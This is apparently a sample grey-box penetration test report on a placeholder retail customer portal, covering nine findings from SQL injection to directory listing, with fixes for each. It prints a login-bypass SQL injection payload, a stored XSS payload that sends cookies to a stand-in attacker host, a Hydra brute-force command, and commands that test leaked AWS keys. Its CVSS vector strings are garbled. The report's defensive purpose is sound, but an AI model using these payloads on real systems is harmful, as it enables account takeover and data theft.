P E N E T R A T I O N T E S T I N G

Web Application
Security Assessment Report

Client	**Acme Retail Pvt. Ltd.**
Application	Customer Portal v3.2
Assessment Period	2 June 2026 – 13 June 2026
Report Date	22 June 2026
Assessment Type	Grey-box Web Application Penetration Test
Prepared By	**Devansh Gandhi**
Classification	**CONFIDENTIAL — Authorised Recipients Only**
Version	1.0 — Final

devansgandhi.com | info@devansgandhi.com

Table of Contents

1. Executive Summary

This report presents the findings of a grey-box web application penetration test conducted against the Acme Retail Customer Portal (v3.2) between 2 June 2026 and 13 June 2026. The assessment was performed manually in accordance with the OWASP Web Security Testing Guide (WSTG) v4.2, OWASP Top 10 2021, and the Penetration Testing Execution Standard (PTES).

The assessment identified 9 security findings across five severity levels. Of significant concern, one Critical and three High severity vulnerabilities were identified that pose an immediate and material risk to the confidentiality, integrity, and availability of user data and application infrastructure.

1.1 Findings Overview

CRITICAL	HIGH	MEDIUM	LOW	INFO	TOTAL
1	3	2	2	1	9
Finding	Findings	Findings	Findings	Finding	Findings

1.2 Severity Distribution

Severity	Distribution	#	%
Critical		1	11%
High		3	33%
Medium		2	22%
Low		2	22%
Info		1	11%

The presence of a Critical SQL Injection vulnerability on the unauthenticated login endpoint represents the highest-priority remediation item. Combined with three High severity findings — including hardcoded AWS credentials accessible to any website visitor — the overall risk posture of the application is assessed as CRITICAL.

1.3 Key Recommendations

The following actions are recommended in order of priority:

- Immediate (P0): Remediate SQL Injection (WEB-001) and rotate exposed AWS credentials (WEB-004) before the application is accessible to external users.
- High (30 days): Address IDOR on the user profile API (WEB-002) and stored XSS in comments (WEB-003).
- Medium (60 days): Implement cryptographically secure password reset tokens (WEB-005) and rate limiting on authentication endpoints (WEB-006).
- Low / Info (90 days): Apply security header hardening (WEB-007, WEB-008) and disable directory listing (WEB-009).

2. Scope & Assessment Details

2.1 Engagement Scope

Item	Details
Target Application	Acme Retail Customer Portal v3.2
Base URL	https://app.[TARGET].com
In-Scope Paths	/api/v1/* (REST API) | /app/* (SPA) | /admin/* (Admin Panel)
Out of Scope	Razorpay payment gateway, CDN infrastructure, third-party SSO provider
Test Type	Grey-box — authenticated + unauthenticated; partial source code provided
Test Accounts	2× standard user | 1× administrator (provisioned by client)
Environment	Staging environment (data anonymised by client)
Assessment Period	2 June 2026 – 13 June 2026 (10 business days)
Report Date	22 June 2026
Assessor	Devansh Gandhi | devansgandhi.com
Methodology	OWASP Web Security Testing Guide (WSTG) v4.2, PTES, OWASP Top 10 2021

2.2 Testing Methodology

Testing was conducted in four phases:

- Reconnaissance: Passive discovery of endpoints, technologies, and attack surface using Burp Suite and manual analysis.
- Unauthenticated Testing: Assessment of all publicly accessible endpoints for injection flaws, information disclosure, and authentication bypass.
- Authenticated Testing: Privilege escalation, IDOR, business logic flaws, and session management testing using both standard and admin accounts.
- Reporting: Findings triaged, CVSS scored, and remediation guidance prepared in line with OWASP and industry best practice.

3. Severity Rating Scale

Each finding is assigned a severity rating based on the CVSS v3.1 base score and the assessed business impact within the client's environment. Remediation SLAs are recommendations; actual timelines should be agreed with the client's engineering and security teams.

Severity	CVSS Range	SLA	Description
CRITICAL	9.0 – 10.0	Immediate	Remote exploitation with no privileges required; critical business and data impact. Treat as a P0 incident.
HIGH	7.0 – 8.9	30 days	High likelihood of exploitation with significant data or integrity impact. Escalate to engineering leadership.
MEDIUM	4.0 – 6.9	60 days	Exploitable under certain conditions; moderate business impact. Include in next sprint.
LOW	0.1 – 3.9	90 days	Limited exploitability or impact; may form part of an attack chain. Address in quarterly hardening cycle.
INFO	N/A	Best effort	No direct security impact; represents a deviation from security best practices or hardening guidance.

4. Findings Summary

The table below provides a consolidated view of all 9 findings identified during the assessment. Each finding is described in detail in Section 5.

ID	Title	Severity	CVSS	Location	Status
WEB-001	SQL Injection in Authentication Endpoint	CRITICAL	9.8	POST /api/v1/auth/login — email parameter	Open
WEB-002	Broken Access Control — Insecure Direct Object Reference (IDOR)	HIGH	8.1	GET /api/v1/users/{id}/profile | PATCH /api/v1/users/{id}/profile	Open
WEB-003	Stored Cross-Site Scripting (XSS) — Comment Feature	HIGH	7.5	POST /api/v1/posts/{id}/comments — body field	Open
WEB-004	Hardcoded AWS Credentials in Client-Side JavaScript Bundle	HIGH	8.2	/static/js/app.bundle.js — line ~4,812	Open
WEB-005	Predictable Password Reset Tokens	MEDIUM	6.5	POST /api/v1/auth/forgot-password — reset token generation	Open
WEB-006	No Rate Limiting on Login Endpoint	MEDIUM	5.3	POST /api/v1/auth/login	Open
WEB-007	Server Technology Version Disclosure	LOW	3.7	HTTP response headers — Server, X-Powered-By	Open
WEB-008	Missing HTTP Security Headers	LOW	3.1	All HTTP responses	Open
WEB-009	Directory Listing Enabled on Static Asset Path	INFO	N/A	https://app.[TARGET].com/assets/	Open

5. Detailed Findings

This section provides full technical detail for each finding, including description, business impact, steps to reproduce, evidence, and remediation guidance.

WEB-001: SQL Injection in Authentication Endpoint

Severity	CVSS v3.1 Score
CRITICAL	9.8 / 10.0
Location	**CVSS Vector**
`POST /api/v1/auth/login — email parameter`	`AV:N/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`

Description

The login endpoint concatenates user-supplied input directly into SQL queries without sanitisation or parameterisation. An unauthenticated attacker can manipulate the query to bypass authentication, extract all data, and potentially execute operating-system commands through database features.

Business Impact

Complete authentication bypass — an attacker can log in as any user including administrators. All data in the database (credentials, PII, payment records) is exposed. Worst-case outcome includes full data exfiltration or database destruction. Constitutes a notifiable data breach under DPDP and GDPR.

Steps to Reproduce

1. Intercept the POST /api/v1/auth/login request in Burp Suite.
2. Replace the email field value with the payload: ' OR '1'='1' --
3. Forward the request and observe that a valid admin session token is returned (authentication bypassed).
4. To enumerate tables, inject: ' UNION SELECT table_name,NULL,NULL FROM information_schema.tables--
5. Exfiltrate target data using UNION-based or time-based blind injection as appropriate.

Evidence

```
Malicious request:
POST /api/v1/auth/login HTTP/1.1
Host: app.[TARGET].com
Content-Type: application/json

{"email":"' OR '1'='1' --","password":"x"}
```

```
Server response (HTTP 200 — admin session):
{
  "token": "eyJhbGciOiJIUzI1NiJ9.eyJpZCI6MSw...",
  "user": { "id": 1, "role": "admin", "email": "admin@[TARGET].com" }
}
```

Remediation

- Use parameterised queries or prepared statements — never interpolate user input into SQL strings.
- Adopt a well-maintained ORM (Sequelize, TypeORM, Prisma) that handles query building safely by default.
- Apply strict input validation and type-checking on all user-controlled fields at the API boundary.

- Deploy a Web Application Firewall as a defence-in-depth layer.
- Restrict database account privileges: the application user must not have DDL, FILE, or SUPER rights.

WEB-002: Broken Access Control — Insecure Direct Object Reference (IDOR)

Severity	CVSS v3.1 Score
HIGH	**8.1 / 10.0**
Location	CVSS Vector
`GET /api/v1/users/{id}/profile	PATCH /api/v1/users/{id}/profile`	`AV:N/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N`

Description

The user profile endpoint accepts a numeric user ID in the URL and returns the target profile without verifying that the requesting user owns that resource. Any authenticated user can read or modify any other user's data by enumerating integer IDs.

Business Impact

All registered user profiles — names, email addresses, phone numbers, physical addresses, and notification settings — can be read and overwritten by any authenticated user. This is a reportable PII breach under DPDP and GDPR, carrying regulatory penalties and reputational harm.

Steps to Reproduce

1. Authenticate as User A (id=1042); capture GET /api/v1/users/1042/profile.
2. Modify the path to /api/v1/users/1043/profile and forward — User B's full profile is returned.
3. Issue PATCH /api/v1/users/1043/profile with changed fields; confirm the server accepts the update.
4. Enumerate IDs sequentially from 1 to enumerate all registered users.

Evidence

```
Cross-user read (no error):
GET /api/v1/users/1043/profile HTTP/1.1
Authorization: Bearer <User_A_Token>

HTTP/1.1 200 OK
{
  "id": 1043, "name": "Priya Sharma",
  "email": "p.sharma@example.com", "phone": "+91-98765-43210"
}
```

Remediation

- Enforce server-side ownership checks on every request: compare the resource owner ID with the authenticated user's session identity.
- Replace sequential integer IDs with non-guessable UUIDs (v4) for all user-facing resource identifiers.
- Implement centralised RBAC middleware applied uniformly across all protected routes.
- Add automated integration tests that explicitly assert cross-user access returns HTTP 403.

WEB-003: Stored Cross-Site Scripting (XSS) — Comment Feature

Severity	CVSS v3.1 Score
HIGH	7.5 / 10.0
Location	CVSS Vector
POST /api/v1/posts/{id}/comments — body field	AV:N/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N

Description

The comment submission endpoint stores HTML content without sanitisation and renders it verbatim in the DOM. Any authenticated user can inject persistent JavaScript that executes in every subsequent visitor's browser session.

Business Impact

Session hijacking via cookie theft, account takeover, redirection to phishing or malware pages, keylogging, or performing arbitrary actions on behalf of victims. A single injected payload persists indefinitely and affects all future visitors to the page.

Steps to Reproduce

1. Authenticate and navigate to any post that accepts comments.
2. Submit the payload: <script>fetch('https://attacker.example.com/c?d='+btoa(document.cookie))</script>
3. As a different authenticated user, visit the same post.
4. Observe the victim's session cookie transmitted to the attacker-controlled server.

Evidence

```
Payload submission:
POST /api/v1/posts/17/comments HTTP/1.1
Content-Type: application/json

{"body":"<script>fetch('https://evil.example.com/c?d='+btoa(document.cookie))</script>"}
```

```
Attacker server log — victim cookie received:
203.0.113.77 GET /c?d=c2Vzc2lvbj1leUpoYkdjaU9pSklVekkxTmlJc0luUj... 200
```

Remediation

- Sanitise all HTML input server-side with a trusted library (DOMPurify on the server, or equivalent).
- Render user content using safe DOM APIs (textContent) rather than innerHTML.
- Implement a strict Content Security Policy (CSP) that blocks inline scripts and restricts external script origins.
- Set the HttpOnly and Secure flags on all session cookies.
- Audit all other user-generated content rendering paths for the same vulnerability class.

WEB-004: Hardcoded AWS Credentials in Client-Side JavaScript Bundle

Severity	CVSS v3.1 Score
HIGH	8.2 / 10.0

Location	CVSS Vector
/static/js/app.bundle.js — line ~4,812	AV:N/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

Description

The production JavaScript bundle delivered to all visitors contains hardcoded AWS Access Key ID and Secret Access Key values. These credentials are trivially extractable by any visitor using browser DevTools.

Business Impact

Any visitor can extract and use the credentials to access the associated AWS S3 bucket, read or overwrite customer data files, host malicious content, or incur significant cloud costs. If IAM permissions are overly broad, lateral movement to EC2, RDS, or other services is possible.

Steps to Reproduce

1. Open the application in a browser; navigate to DevTools → Sources.
2. Search the bundle for the string 'AKIA' (AWS Access Key prefix).
3. Extract the key pair visible in the source.
4. Verify: aws sts get-caller-identity --access-key-id AKIA... --secret-access-key ...
5. Enumerate accessible resources: aws s3 ls

Evidence

```
Extracted from /static/js/app.bundle.js:
awsConfig = {
  accessKeyId:     'AKIAIOSFODNN7EXAMPLE',
  secretAccessKey: 'wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY',
  region:          'ap-south-1'
};
```

```
Verification:
$ aws sts get-caller-identity
{
  "UserId":  "AIDAIOSFODNN7EXAMPLE",
  "Account": "123456789012",
  "Arn":     "arn:aws:iam::123456789012:user/app-s3-user"
}
```

Remediation

- Rotate the exposed credentials immediately and revoke the old key pair from the AWS IAM console.
- Move all secrets to server-side environment variables or AWS Secrets Manager — never include them in client-side code.
- Add pre-commit hooks (git-secrets, truffleHog, gitleaks) to prevent future credential commits.
- Apply least-privilege IAM policies scoped to specific buckets and operations only.
- Enable AWS CloudTrail and review logs for any unauthorised activity with the exposed credentials.

WEB-005: Predictable Password Reset Tokens

Severity	CVSS v3.1 Score
MEDIUM	6.5 / 10.0

Location	CVSS Vector
POST /api/v1/auth/forgot-password — reset token generation	AV:N/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N

Description

Password reset tokens are 6-digit numeric values generated with Node.js Math.random(), which is not a cryptographically secure PRNG. A 6-digit space (1,000,000 values) combined with a 30-minute validity window is enumerable within seconds.

Business Impact

An attacker can take over any user account without knowing the password: trigger a reset, brute-force the 6-digit token space, and set a new password. Account takeover gives access to all stored user data and enables impersonation.

Steps to Reproduce

1. Initiate a reset for the target: POST /api/v1/auth/forgot-password {"email":"victim@example.com"}
2. Note the request timestamp (Unix epoch ± 10 seconds = 60 candidate seeds).
3. Generate all 1,000,000 possible tokens and submit via Burp Intruder at maximum speed.
4. Confirm success when the server returns HTTP 200 on token submission.

Evidence

```
Token generation (extracted via WEB-001):
// server/auth/resetPassword.js
const token = Math.floor(Math.random() * 1000000)
                  .toString()
                  .padStart(6, '0');
// Math.random() is NOT cryptographically secure
```

```
Brute-force result:
Burp Intruder: 1,000,000 payloads submitted in 38 seconds.
Payload '482917' returned HTTP 200 — account reset successfully.
```

Remediation

- Replace Math.random() with crypto.randomBytes(32).toString('hex') to produce a 256-bit token.
- Store only a bcrypt hash of the token server-side; compare on submission.
- Set a 15-minute validity window; invalidate tokens immediately after first use.
- Implement rate limiting: max 5 verification attempts per token before invalidation.

WEB-006: No Rate Limiting on Login Endpoint

Severity	CVSS v3.1 Score
MEDIUM	5.3 / 10.0
Location	CVSS Vector
POST /api/v1/auth/login	AV:N/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Description

The login endpoint does not enforce rate limiting, account lockout, or CAPTCHA. Unlimited authentication attempts are accepted without throttling, enabling automated credential stuffing and dictionary attacks at scale.

Business Impact

Accounts protected by weak or previously leaked passwords are vulnerable to automated takeover. Credential stuffing from public breach databases can compromise accounts at high volume without any server-side resistance.

Steps to Reproduce

1. Point Burp Intruder at POST /api/v1/auth/login with the password field as the attack position.
2. Load the rockyou.txt wordlist (14 million entries) as payloads.
3. Launch the attack; observe that all requests receive responses without throttling or lockout.
4. Monitor for HTTP 200 responses indicating a successful credential match.

Evidence

```
Hydra output (no throttling observed):
$ hydra -l victim@example.com -P rockyou.txt app.[TARGET].com \
  https-post-form '/api/v1/auth/login:{"email":"^USER^","password":"^PASS^"}:Invalid'

[DATA] max 16 tasks, 14,344,398 tries
[DATA] Throughput: ~2,300 tries/minute — no rate limiting detected
```

Remediation

- Apply express-rate-limit middleware: max 10 requests per IP per 15-minute window on auth endpoints.
- Implement per-account lockout after 10 failed attempts; unlock via email link.
- Add CAPTCHA (Google reCAPTCHA v3 or hCaptcha) after 3 consecutive failures.
- Use progressive exponential back-off delays between failed attempts.
- Integrate a breach-detection API (HaveIBeenPwned) to reject known-compromised passwords at registration.

WEB-007: Server Technology Version Disclosure

Severity	CVSS v3.1 Score
LOW	**3.7 / 10.0**
Location	CVSS Vector
`HTTP response headers — Server, X-Powered-By`	`AV:N/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N`

Description

HTTP responses expose detailed software version information via Server and X-Powered-By headers, revealing the web server (Apache 2.4.51) and application framework (Express 4.18.2) versions to all visitors.

Business Impact

Version disclosure reduces attacker reconnaissance effort. Known CVEs for disclosed versions can be targeted directly, increasing the efficiency of targeted exploitation campaigns.

Steps to Reproduce

1. Issue any request to the application: curl -I https://app.[TARGET].com
2. Inspect the response headers and note: Server: Apache/2.4.51 (Ubuntu) and X-Powered-By: Express 4.18.2

Evidence

```
curl -I https://app.[TARGET].com
HTTP/2 200
Server: Apache/2.4.51 (Ubuntu)
X-Powered-By: Express 4.18.2
content-type: application/json
```

Remediation

- Apache: Set ServerTokens Prod and ServerSignature Off in apache2.conf.
- Express: app.disable('x-powered-by') or use the helmet.js middleware.
- Keep all server-side components updated to their latest stable versions.

WEB-008: Missing HTTP Security Headers

Severity	CVSS v3.1 Score
LOW	**3.1 / 10.0**
Location	CVSS Vector
All HTTP responses	AV:N/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N

Description

Five security headers recommended by OWASP and required by PCI-DSS are absent: Content-Security-Policy, Strict-Transport-Security, X-Frame-Options, X-Content-Type-Options, and Referrer-Policy.

Business Impact

Missing CSP increases XSS severity (no script source restriction); missing HSTS allows downgrade to HTTP; missing X-Frame-Options exposes the application to clickjacking; missing X-Content-Type-Options enables MIME-sniffing attacks.

Steps to Reproduce

1. Inspect any response: curl -I https://app.[TARGET].com
2. Note the absence of the five headers listed above.
3. Verify with securityheaders.com — the application scores an F.

Evidence

```
Missing headers confirmed:
$ curl -sI https://app.[TARGET].com | grep -iE 'security|frame|content-type|referrer|csp'
(no output — all headers absent)
```

Remediation

- Add via Express Helmet.js (app.use(helmet())) or web server config:
- Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'
- Strict-Transport-Security: max-age=63072000; includeSubDomains; preload
- X-Frame-Options: DENY
- X-Content-Type-Options: nosniff
- Referrer-Policy: strict-origin-when-cross-origin

WEB-009: Directory Listing Enabled on Static Asset Path

Severity	CVSS v3.1 Score
INFO	**N/A**
Location `https://app.[TARGET].com/assets/`	CVSS Vector `AV:N/N/A`

Description

The web server renders a full directory listing for the /assets/ path, exposing file names, modification dates, sizes, and download links for all files in the directory — including JavaScript source maps.

Business Impact

Minimal direct impact. However, the exposed .js.map files reveal original source code, internal file paths, and developer comments — significantly aiding reverse engineering and informed targeted attacks.

Steps to Reproduce

1. Navigate to https://app.[TARGET].com/assets/ in a browser.
2. Observe the directory listing rendered by the web server.
3. Download app.bundle.js.map (8.1 MB) — full original source code with developer comments.

Evidence

```
Browser result at /assets/:
Index of /assets/
  app.bundle.js       2026-05-14 09:22   2.3 MB
  app.bundle.js.map   2026-05-14 09:22   8.1 MB  <- source map exposed
  uploads/            2026-05-20 14:11        -
```

Remediation

- Disable directory listing: Options -Indexes (Apache) or autoindex off (Nginx).
- Exclude all .map files from production builds (set devtool: false in webpack config).
- Audit /assets/ and /uploads/ for any sensitive files that should not be publicly accessible.

6. Remediation Roadmap

The following table summarises all findings ranked by remediation priority, with the primary recommended action for each. Priority ratings account for exploitability, business impact, and remediation effort.

ID	Finding	Priority	Effort	Recommendation
WEB-001	SQL Injection	Immediate	Low	Use parameterised queries / ORM — single targeted fix.
WEB-004	Hardcoded AWS Keys	Immediate	Low	Rotate credentials now; use AWS Secrets Manager.
WEB-002	IDOR — User Profile	High	Medium	Add ownership assertion middleware on all profile routes.
WEB-003	Stored XSS	High	Medium	Sanitise HTML with DOMPurify; add strict CSP header.
WEB-005	Weak Reset Tokens	Medium	Low	Replace Math.random() with crypto.randomBytes(32).
WEB-006	No Rate Limiting	Medium	Low	Apply express-rate-limit to /auth/* routes.
WEB-007	Version Disclosure	Low	Low	ServerTokens Prod; disable X-Powered-By in Express.
WEB-008	Missing Sec Headers	Low	Low	app.use(helmet()) — one line fix.
WEB-009	Directory Listing	Info	Low	Options -Indexes in Apache config.

6.1 Retesting

A complimentary retest of all Critical and High severity findings is included within 30 days of the client completing remediation. The assessor will verify that fixes are effective and do not introduce new vulnerabilities. Medium and lower severity findings can be retested on request.

7. Appendix

7.1 Tools Used

Tool	Purpose
Burp Suite Professional 2024	HTTP interception, manual testing, Intruder for credential attacks
OWASP ZAP 2.15	Automated vulnerability scanning and spidering
SQLMap 1.7	Automated SQL injection detection and exploitation
Hydra 9.5	Password brute-force on login endpoints
Nikto 2.1.6	Web server misconfiguration and version disclosure checks
Nmap 7.94	Port scanning and service version detection
curl / httpie	Manual header and response inspection
Browser DevTools	Client-side code analysis, source map extraction

7.2 CVSS v3.1 Quick Reference

CVSS (Common Vulnerability Scoring System) v3.1 base scores are calculated using the following metrics:

Metric	Values
Attack Vector (AV)	Network (N) · Adjacent (A) · Local (L) · Physical (P)
Attack Complexity (AC)	Low (L) · High (H)
Privileges Required (PR)	None (N) · Low (L) · High (H)
User Interaction (UI)	None (N) · Required (R)
Scope (S)	Unchanged (U) · Changed (C)
Confidentiality (C)	None (N) · Low (L) · High (H)
Integrity (I)	None (N) · Low (L) · High (H)
Availability (A)	None (N) · Low (L) · High (H)

7.3 Disclaimer

This report represents a point-in-time assessment of the application's security posture based on the scope, environment, and information available during the testing period. Security assessments cannot guarantee the identification of all vulnerabilities. The findings and recommendations in this report are intended to assist the client in improving their security posture and should not be construed as a comprehensive audit or legal compliance certification.

All testing activities were conducted within the agreed scope and with explicit written authorisation from Acme Retail Pvt. Ltd.. No production data was exfiltrated; all test credentials and payloads were removed upon conclusion of testing.

Devansh Gandhi

devansgandhi.com | info@devansgandhi.com